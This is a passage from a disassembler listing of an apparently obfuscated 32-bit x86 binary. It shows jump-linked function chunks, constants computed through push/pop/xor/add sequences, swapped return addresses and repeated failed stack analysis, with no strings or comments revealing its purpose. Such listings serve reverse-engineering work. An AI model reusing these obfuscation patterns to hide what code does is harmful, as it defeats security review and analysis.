; FUNCTION CHUNK AT 00421C43 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00428F17 SIZE 00000010 BYTES
mov [esp+0], eax
pop eax
call dword ptr [ebp-4]
test eax, eax
jz loc_426C46
mov eax, [ebp-0Ch]
neg eax
jmp loc_421C43
sub_42B71E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42651A
loc_42B737: ; CODE XREF: sub_42651A:loc_42653Dj
push eax
push 6FD50B29h
pop eax
xor eax, 128B35DBh
add eax, 82A1C10Eh
xchg eax, [esp+8+var_8]
jmp loc_42B642
; END OF FUNCTION CHUNK FOR sub_42651A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42454E
loc_42B752: ; CODE XREF: sub_42454E+D62j
ror edi, 0Eh
loc_42B755: ; CODE XREF: sub_42454E:loc_42441Dj
call sub_42574E
push 6FD292D6h
pop edx
add edx, 2EB20AABh
push edi
pushf
push 78475BCCh
jmp loc_4279BC
; END OF FUNCTION CHUNK FOR sub_42454E
; =============== S U B R O U T I N E =======================================
sub_42B772 proc near ; CODE XREF: _94j21ax3:00424AD2j
; _94j21ax3:0042ACFEp
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00421C6B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428BDE SIZE 00000012 BYTES
mov [esp+0], ebx
pop ebx
mov [esp-4+arg_0], ebp
mov ebp, esp
push ecx
jmp loc_421C6B
sub_42B772 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4248E7
loc_42B781: ; CODE XREF: sub_4248E7+4965j
shr ebx, 2
jmp loc_425210
; ---------------------------------------------------------------------------
loc_42B789: ; CODE XREF: sub_4248E7:loc_4230B9j
mov eax, ds:dword_429F74
call sub_42426B
loc_42B793: ; CODE XREF: sub_429CAE:loc_422F2Ej
jz loc_421913
jmp loc_429843
; END OF FUNCTION CHUNK FOR sub_4248E7
; ---------------------------------------------------------------------------
loc_42B79E: ; CODE XREF: _94j21ax3:loc_427AB3j
jz loc_426A34
jmp loc_42435A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_42B7A9: ; CODE XREF: sub_4294B3:loc_42958Aj
cmp dword ptr [eax], 4742444Fh
jz loc_42A566
jmp loc_429378
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
push eax
ror eax, 15h
push edx
push 7C055876h
pop edx
add edx, 843CC126h
mov [edx], eax
jmp loc_4293DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B9CF
loc_42B7D2: ; CODE XREF: sub_42B9CF:loc_42947Dj
jz nullsub_86
jmp loc_42672B
; END OF FUNCTION CHUNK FOR sub_42B9CF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_42B7DD: ; CODE XREF: sub_42284F+66F7j
xor eax, ebp
jmp loc_429D5D
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42169F
loc_42B7E4: ; CODE XREF: sub_42169F+38Aj
jnz loc_42668E
jmp loc_421611
; END OF FUNCTION CHUNK FOR sub_42169F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42220B
loc_42B7EF: ; CODE XREF: sub_42220B+8EF8j
cmp ebp, 0F992E5F1h
jmp loc_427F5F
; END OF FUNCTION CHUNK FOR sub_42220B
; ---------------------------------------------------------------------------
adc ebp, 33A4D887h
jmp sub_42194B
; ---------------------------------------------------------------------------
mov esi, [ebp+0]
; START OF FUNCTION CHUNK FOR sub_4238D1
loc_42B808: ; CODE XREF: sub_4238D1:loc_42AD33j
jmp sub_42B4F1
; END OF FUNCTION CHUNK FOR sub_4238D1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_126. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426626
loc_42B80E: ; CODE XREF: sub_426626+5653j
jmp sub_428B8C
; END OF FUNCTION CHUNK FOR sub_426626
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421D33
loc_42B813: ; CODE XREF: sub_421D33+9BD2j
jmp loc_424DAB
; END OF FUNCTION CHUNK FOR sub_421D33
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427CAC
loc_42B818: ; CODE XREF: sub_427CAC-3B42j
jmp loc_42A533
; END OF FUNCTION CHUNK FOR sub_427CAC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423517
loc_42B81D: ; CODE XREF: sub_423517+7j
jmp loc_42BCD4
; END OF FUNCTION CHUNK FOR sub_423517
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423614
loc_42B822: ; CODE XREF: sub_423614:loc_428BACj
mov [esi], eax
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_423614
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42265F
loc_42B826: ; CODE XREF: sub_421822+6j
; sub_42265F-4F5j
rol eax, 10h
jmp loc_42317F
; END OF FUNCTION CHUNK FOR sub_42265F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_122. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42851E
loc_42B82F: ; CODE XREF: sub_42851E+30A8j
jmp loc_429E83
; END OF FUNCTION CHUNK FOR sub_42851E
; ---------------------------------------------------------------------------
loc_42B834: ; CODE XREF: _94j21ax3:004288BAj
jmp loc_42A2C8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_128. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_42B83A proc near ; CODE XREF: sub_421D33+1DEp
; sub_4294B3-52F6p ...
jz sub_42315D
push ebp
mov ebp, esp
jmp loc_42331F
sub_42B83A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B856
loc_42B848: ; CODE XREF: sub_42B856-8AB9j
mov ebp, ecx
pop ecx
mov eax, ds:dword_429F80
call sub_42A277
; END OF FUNCTION CHUNK FOR sub_42B856
; =============== S U B R O U T I N E =======================================
sub_42B856 proc near ; CODE XREF: sub_42B405:loc_42375Dp
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00421C9E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00422B44 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00422D97 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00424950 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424986 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00425540 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00427C6A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428C6A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00428CF9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042ACD9 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0042B848 SIZE 0000000E BYTES
xchg esi, [esp+0]
pop esi
shl eax, cl
mov edx, [ebp-18h]
shr edx, 3
mov ecx, ds:dword_429F74
movzx edx, byte ptr [ecx+edx]
and eax, edx
jmp loc_424986
sub_42B856 endp ; sp-analysis failed
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_190. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42878A
loc_42B874: ; CODE XREF: sub_42878A-1A6Fj
jmp nullsub_217
; END OF FUNCTION CHUNK FOR sub_42878A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421A4F
loc_42B879: ; CODE XREF: sub_421A4F+49D6j
jmp nullsub_152
; END OF FUNCTION CHUNK FOR sub_421A4F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_42B87E: ; CODE XREF: sub_42A0CC-3333j
add ebx, ebp
jmp loc_421618
; END OF FUNCTION CHUNK FOR sub_42A0CC
; ---------------------------------------------------------------------------
xchg esi, [edi]
jmp loc_42A83C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424EB4
loc_42B88C: ; CODE XREF: sub_424EB4+520Fj
call nullsub_8
loc_42B891: ; CODE XREF: sub_427D15-64Fj
; _94j21ax3:0042B3B1j
mov eax, ds:dword_426F44
mov [ebp-4], eax
mov eax, (offset loc_426F36+2)
call sub_425127
mov eax, [ebp-4]
jmp loc_425119
; END OF FUNCTION CHUNK FOR sub_424EB4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421822
loc_42B8AB: ; CODE XREF: sub_421822+Cj
jz loc_423ED8
jmp loc_427F34
; END OF FUNCTION CHUNK FOR sub_421822
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_59. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421ABD
loc_42B8B7: ; CODE XREF: sub_421ABD+76FAj
jmp nullsub_153
; END OF FUNCTION CHUNK FOR sub_421ABD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_81. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_42B8BD: ; CODE XREF: _94j21ax3:004283A3j
jmp loc_42A314
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_42B8C2: ; CODE XREF: sub_423324:loc_421A79j
inc dword ptr [ebp-8]
; END OF FUNCTION CHUNK FOR sub_423324
; START OF FUNCTION CHUNK FOR sub_425157
loc_42B8C5: ; CODE XREF: sub_425157:loc_4275CBj
; sub_428B74:loc_428B82j
mov eax, [ebp+var_8]
pop ecx
pop ecx
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_425157
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42651A
loc_42B8CC: ; CODE XREF: sub_42651A+Bj
jmp nullsub_154
; END OF FUNCTION CHUNK FOR sub_42651A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424E34
loc_42B8D1: ; CODE XREF: sub_424E34+10j
jmp loc_427C40
; END OF FUNCTION CHUNK FOR sub_424E34
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422790
loc_42B8D6: ; CODE XREF: sub_422790-E06j
mov eax, [ebp+arg_0]
jmp loc_428FE2
; END OF FUNCTION CHUNK FOR sub_422790
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425819
loc_42B8DE: ; CODE XREF: sub_425819+140Fj
xor ecx, 6CA96BAFh
cmp ebx, ecx
pop ecx
sub eax, 95B6D5DDh
jmp loc_427095
; END OF FUNCTION CHUNK FOR sub_425819
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421D33
loc_42B8F2: ; CODE XREF: sub_421D33+A821j
test byte ptr [ebp-8], 8
jz loc_428FC8
push ebp
mov eax, [ebp-20h]
call sub_424DB4
jmp loc_42B813
; END OF FUNCTION CHUNK FOR sub_421D33
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422F0A
loc_42B90A: ; CODE XREF: sub_422F0A:loc_42C4DFj
call sub_421EAD
push offset sub_42BAD4
jmp loc_42B06A
; END OF FUNCTION CHUNK FOR sub_422F0A
; ---------------------------------------------------------------------------
not ebx
jmp loc_42A9D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_42B920: ; CODE XREF: sub_423324+399Bj
add eax, ebp
push esi
push 58C4423Bh
pop esi
xor esi, 19BA012Fh
add esi, 0F7D24D25h
xor esi, 8B26EC6h
add eax, esi
jmp loc_422AD0
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4221B8
loc_42B942: ; CODE XREF: sub_4221B8:loc_42AF7Fj
pop eax
sub eax, 1DAC78AEh
test eax, 8
jmp loc_429356
; END OF FUNCTION CHUNK FOR sub_4221B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421DC4
loc_42B954: ; CODE XREF: sub_421DC4:loc_421DEDj
; _94j21ax3:004242B9j ...
push 0D0731AADh
pop eax
and eax, 7374DB06h
push offset sub_42B384
jmp nullsub_158
; END OF FUNCTION CHUNK FOR sub_421DC4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42291D
loc_42B96A: ; CODE XREF: sub_42291D:loc_42517Aj
mov eax, [eax]
mov eax, 1
jmp loc_42290D
; END OF FUNCTION CHUNK FOR sub_42291D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND]
db 1Fh
dd 81FFFFF6h, 3291CBDDh, 95D58173h, 0E981D82Bh, 0FFFFEDA1h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4223EF
loc_42B98C: ; CODE XREF: sub_4223EF+Dj
mov eax, [ebp-18h]
shl eax, 2
cdq
add eax, [esp+8+var_8]
; END OF FUNCTION CHUNK FOR sub_4223EF
; START OF FUNCTION CHUNK FOR sub_42A7A6
loc_42B996: ; CODE XREF: sub_42A7A6:loc_426ECAj
push offset sub_423C51
jmp loc_42C405
; END OF FUNCTION CHUNK FOR sub_42A7A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42484C
loc_42B9A0: ; CODE XREF: sub_42484C-11F5j
xchg ebx, [esp+0]
jmp sub_424D58
; END OF FUNCTION CHUNK FOR sub_42484C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_42B9A8: ; CODE XREF: sub_423324+AFj
jz loc_4293D0
test ebp, eax
jmp loc_4293C1
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_42B9B5: ; CODE XREF: sub_422EB0+25C0j
add eax, 0B4515C05h
jmp loc_42BC7E
; ---------------------------------------------------------------------------
loc_42B9C0: ; CODE XREF: sub_422EB0:loc_4299ABj
cmp dword ptr [ebp-4], 3
jnz loc_42BC7E
jmp loc_4218D3
; END OF FUNCTION CHUNK FOR sub_422EB0
; =============== S U B R O U T I N E =======================================
sub_42B9CF proc near ; DATA XREF: sub_424839:loc_42B59Co
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0042183B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00421CBB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00421ED8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004227FD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00423632 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423972 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00423A8C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00425878 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042672B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426F30 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426FC9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00427076 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00427AA5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004281B8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428D3D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042945F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042947D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042A0DF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A45A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042B1EC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042B2A9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042B7D2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042BA4F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042BF82 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042BFEB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C4B1 SIZE 00000005 BYTES
test al, al
jz loc_429482
jmp loc_42A0DF
sub_42B9CF endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A9E7
loc_42B9DC: ; CODE XREF: sub_42A9E7:loc_429CA9j
push eax
call sub_423F43
retn
; END OF FUNCTION CHUNK FOR sub_42A9E7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_42B9E3: ; CODE XREF: sub_4272E9-19C0j
jmp loc_4227DC
; END OF FUNCTION CHUNK FOR sub_4272E9
; =============== S U B R O U T I N E =======================================
sub_42B9E8 proc near ; CODE XREF: sub_424775+31D4p
; sub_422866:loc_429E97p ...
; FUNCTION CHUNK AT 0042282D SIZE 0000000E BYTES
push eax
jmp loc_42282D
sub_42B9E8 endp
; ---------------------------------------------------------------------------
and edi, 3D03F654h
jmp sub_42B0C9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42ADA2
loc_42B9F9: ; CODE XREF: sub_42ADA2-520Cj
jz loc_426ED0
jmp loc_42A6B5
; END OF FUNCTION CHUNK FOR sub_42ADA2
; ---------------------------------------------------------------------------
cdq
jmp sub_429629
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4251A2
loc_42BA0A: ; CODE XREF: sub_4251A2-244j
and edi, 49088AE2h
xor edi, 0C4B5A743h
add edi, 4F1CAA83h
add edi, ebp
add edi, 0E425A616h
mov [edi], eax
push offset loc_42A19A
jmp loc_42C3CC
; END OF FUNCTION CHUNK FOR sub_4251A2
; ---------------------------------------------------------------------------
push 9D2DC323h
jmp loc_42484A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429629
loc_42BA3A: ; CODE XREF: sub_429629-2B3Cj
jnz loc_4274F9
loc_42BA40: ; CODE XREF: _94j21ax3:loc_429729j
jmp loc_42381B
; END OF FUNCTION CHUNK FOR sub_429629
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425934
loc_42BA45: ; CODE XREF: sub_42B9CF-4A04j
; sub_425934:loc_429505j
ja loc_42593D
adc ebx, edx
mov ebp, [eax]
; END OF FUNCTION CHUNK FOR sub_425934
; START OF FUNCTION CHUNK FOR sub_42B9CF
loc_42BA4F: ; CODE XREF: sub_42B9CF:loc_4281B8j
call sub_42C057
test al, al
jz loc_428D3D
jmp loc_425878
; END OF FUNCTION CHUNK FOR sub_42B9CF
; ---------------------------------------------------------------------------
loc_42BA61: ; CODE XREF: _94j21ax3:loc_429D2Bj
push 49FF4951h
push offset sub_428FFB
jmp locret_4236ED
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4284C0
loc_42BA70: ; CODE XREF: sub_4284C0-74B2j
and ax, 38FFh
call sub_423717
; END OF FUNCTION CHUNK FOR sub_4284C0
; =============== S U B R O U T I N E =======================================
sub_42BA79 proc near ; CODE XREF: sub_427D53-451Ep
xchg eax, [esp+0]
mov eax, [esp+0]
call sub_423F43
retn
sub_42BA79 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421393
loc_42BA85: ; CODE XREF: sub_421393+10j
jmp loc_424FBD
; END OF FUNCTION CHUNK FOR sub_421393
; =============== S U B R O U T I N E =======================================
sub_42BA8A proc near ; CODE XREF: sub_423324:loc_422157p
; sub_4214E6+146Ap ...
var_4 = dword ptr -4
; FUNCTION CHUNK AT 004235A3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00425A77 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00427044 SIZE 0000000E BYTES
jo sub_426C51
push eax
jmp loc_427044
sub_42BA8A endp
; ---------------------------------------------------------------------------
pushf
jl loc_4247E7
jmp sub_42C1AE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_42BAA2: ; CODE XREF: sub_423324+60B2j
call sub_42C5E8
; END OF FUNCTION CHUNK FOR sub_423324
; START OF FUNCTION CHUNK FOR sub_42574E
loc_42BAA7: ; CODE XREF: sub_42574E+2491j
jmp sub_42C057
; END OF FUNCTION CHUNK FOR sub_42574E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426CF4
loc_42BAAC: ; CODE XREF: sub_426CF4+Cj
jmp loc_422CDB
; END OF FUNCTION CHUNK FOR sub_426CF4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4221B8
loc_42BAB1: ; CODE XREF: sub_4221B8+3880j
jmp loc_426E03
; END OF FUNCTION CHUNK FOR sub_4221B8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_25. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_42BAB7: ; CODE XREF: sub_42284F+2F3Bj
jmp loc_4214C0
; END OF FUNCTION CHUNK FOR sub_42284F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_42BABD: ; CODE XREF: sub_423324+3F54j
jmp loc_42B5CB
; END OF FUNCTION CHUNK FOR sub_423324
; =============== S U B R O U T I N E =======================================
sub_42BAC2 proc near ; CODE XREF: sub_4215F9:loc_42160Cj
; sub_424775-912p
; FUNCTION CHUNK AT 00425075 SIZE 00000002 BYTES
push eax
call sub_429382
call sub_427CEA
loc_42BACD: ; CODE XREF: sub_4294B3-7BCFj
not eax
jmp loc_425075
sub_42BAC2 endp
; =============== S U B R O U T I N E =======================================
sub_42BAD4 proc near ; DATA XREF: sub_422F0A+8A05o
; FUNCTION CHUNK AT 004223A0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00422512 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425B27 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004286AC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00429722 SIZE 00000007 BYTES
cmp eax, [ebp-8]
jnz loc_4223A0
call sub_426985
loc_42BAE2: ; CODE XREF: _94j21ax3:00428F0Bj
jmp loc_429722
sub_42BAD4 endp
; ---------------------------------------------------------------------------
js loc_42A236
jmp sub_42559A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427ABD
loc_42BAF2: ; CODE XREF: sub_427ABD:loc_42760Ej
jnz loc_423EB6
jmp loc_42B6C1
; END OF FUNCTION CHUNK FOR sub_427ABD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422E7B
loc_42BAFD: ; CODE XREF: sub_422E7B+19j
push eax
push edx
push 3D5FFC0Ah
mov edx, offset sub_42BB0D
xchg edx, [esp+4+var_4]
retn
; END OF FUNCTION CHUNK FOR sub_422E7B
; =============== S U B R O U T I N E =======================================
sub_42BB0D proc near ; DATA XREF: sub_422E7B+8C89o
; FUNCTION CHUNK AT 004213C4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00424084 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AA2B SIZE 00000005 BYTES
and edx, 0F70C1848h
jmp loc_424084
sub_42BB0D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422973
loc_42BB18: ; CODE XREF: sub_422973+14j
push 749C0CA7h
pop eax
xor eax, 749C0DA7h
call sub_42B9E8
mov ds:dword_429F74, eax
jmp loc_4217A2
; END OF FUNCTION CHUNK FOR sub_422973
; ---------------------------------------------------------------------------
loc_42BB33: ; CODE XREF: _94j21ax3:00428B4Bj
xor eax, 0A180D791h
; =============== S U B R O U T I N E =======================================
sub_42BB39 proc near ; CODE XREF: sub_42574Ep
; FUNCTION CHUNK AT 00421056 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004270EA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004271FD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00428874 SIZE 0000000D BYTES
xchg ebx, [esp+0]
pop ebx
push ebp
mov ebp, esp
jmp loc_4270EA
sub_42BB39 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42ADA2
loc_42BB45: ; CODE XREF: sub_42ADA2:loc_4278E1j
jnz loc_42C1E3
jmp loc_425A20
; END OF FUNCTION CHUNK FOR sub_42ADA2
; ---------------------------------------------------------------------------
loc_42BB50: ; DATA XREF: sub_422FC8+5353o
pop ebx
pop ecx
pop ebp
jmp loc_426485
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429280
loc_42BB58: ; CODE XREF: sub_429280+6j
or ebx, edx
sbb eax, 1ACC46B8h
and ecx, eax
sub ebx, edx
mov edx, ecx
jmp loc_42AA31
; END OF FUNCTION CHUNK FOR sub_429280
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423FCD
loc_42BB6B: ; CODE XREF: sub_423FCD+520Aj
push 0FCDA7669h
loc_42BB70: ; CODE XREF: sub_423FCD:loc_42B0DBj
jmp loc_425267
; ---------------------------------------------------------------------------
loc_42BB75: ; CODE XREF: sub_423FCD+9j
jb loc_42A341
lea eax, [ebp-0Ch]
push eax
push esi
push 0E49A94F9h
jmp loc_42A3C9
; END OF FUNCTION CHUNK FOR sub_423FCD
; =============== S U B R O U T I N E =======================================
sub_42BB8A proc near ; CODE XREF: _94j21ax3:00423238j
; sub_422790:loc_42864Bp
mov [esp+0], ecx
pop ecx
cmp dword ptr [eax-0Ch], 4
jnz loc_42BBA1
add dword ptr [ebp-8], 4
jmp loc_428B82
; ---------------------------------------------------------------------------
loc_42BBA1: ; CODE XREF: sub_42BB8A+8j
push offset loc_42C547
jmp nullsub_175
sub_42BB8A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_42BBAB: ; CODE XREF: sub_42C0BC-7822j
mov eax, [eax]
test eax, 1
jz loc_42C36D
jmp loc_427B09
; END OF FUNCTION CHUNK FOR sub_42C0BC
; ---------------------------------------------------------------------------
loc_42BBBD: ; DATA XREF: sub_428090+1Eo
mov eax, ds:dword_42199C
or eax, eax
jnz loc_424CCD
jmp loc_42432B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423A56
loc_42BBD0: ; CODE XREF: sub_423A56+5403j
shl edi, 0Ch
test ebp, 1A31345Ah
jmp loc_4274DB
; END OF FUNCTION CHUNK FOR sub_423A56
; ---------------------------------------------------------------------------
loc_42BBDE: ; CODE XREF: _94j21ax3:loc_42A263j
jnz loc_4224C5
jmp loc_424D26
; ---------------------------------------------------------------------------
loc_42BBE9: ; CODE XREF: _94j21ax3:loc_427FA7j
push ebp
jmp loc_42BF26
; ---------------------------------------------------------------------------
loc_42BBEF: ; CODE XREF: _94j21ax3:00421747j
push offset loc_422F3F
jmp locret_4257ED
; =============== S U B R O U T I N E =======================================
sub_42BBF9 proc near ; CODE XREF: _94j21ax3:00423C70j
; sub_424DE8:loc_424649p
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0042810E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428E05 SIZE 00000015 BYTES
xchg ebx, [esp+4+var_4]
pop ebx
call sub_42574E
mov edx, 0F2B89A19h
jmp loc_428E05
sub_42BBF9 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421689
loc_42BC0C: ; CODE XREF: sub_421689+4DDEj
or ebx, 0F45C29D0h
jmp loc_421D04
; END OF FUNCTION CHUNK FOR sub_421689
; =============== S U B R O U T I N E =======================================
sub_42BC17 proc near ; CODE XREF: sub_421689+75FEj
var_10 = dword ptr -10h
; FUNCTION CHUNK AT 00423A66 SIZE 00000005 BYTES
add esp, 0FFFFFFF0h
call sub_421013
loc_42BC1F: ; CODE XREF: sub_42284F+5369j
push 3077B2EFh
pop eax
xor eax, 404D47ADh
add eax, 9007AEA0h
xchg eax, [esp+10h+var_10]
jmp loc_423A66
sub_42BC17 endp
; =============== S U B R O U T I N E =======================================
sub_42BC39 proc near ; DATA XREF: sub_423324+7Ao
; FUNCTION CHUNK AT 00425460 SIZE 0000000B BYTES
test eax, eax
jle loc_423E68
jmp loc_425460
sub_42BC39 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AEB2
loc_42BC46: ; CODE XREF: sub_42AEB2+11j
push offset sub_424CA9
jmp loc_42C343
; END OF FUNCTION CHUNK FOR sub_42AEB2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42191F
loc_42BC50: ; CODE XREF: sub_42191F+64ADj
push eax
call sub_42AA5F
push eax
push 0ADB5F99Bh
jmp loc_42AF7F
; END OF FUNCTION CHUNK FOR sub_42191F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426626
loc_42BC61: ; CODE XREF: sub_426626:loc_428443j
call sub_42A709
pop ecx
loc_42BC67: ; CODE XREF: _94j21ax3:0042AC7Bj
mov [ebp-20h], eax
jmp loc_4288E4
; ---------------------------------------------------------------------------
loc_42BC6F: ; CODE XREF: sub_426626:loc_428FC8j
test byte ptr [ebp-8], 40h
jz loc_4288E4
jmp loc_42B80E
; END OF FUNCTION CHUNK FOR sub_426626
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_42BC7E: ; CODE XREF: sub_422EB0:loc_428E48j
; sub_422EB0+6B05j ...
jo loc_42892D
cmp dword ptr [ebp-4], 4
jnz loc_4272F8
jmp loc_42AA21
; END OF FUNCTION CHUNK FOR sub_422EB0
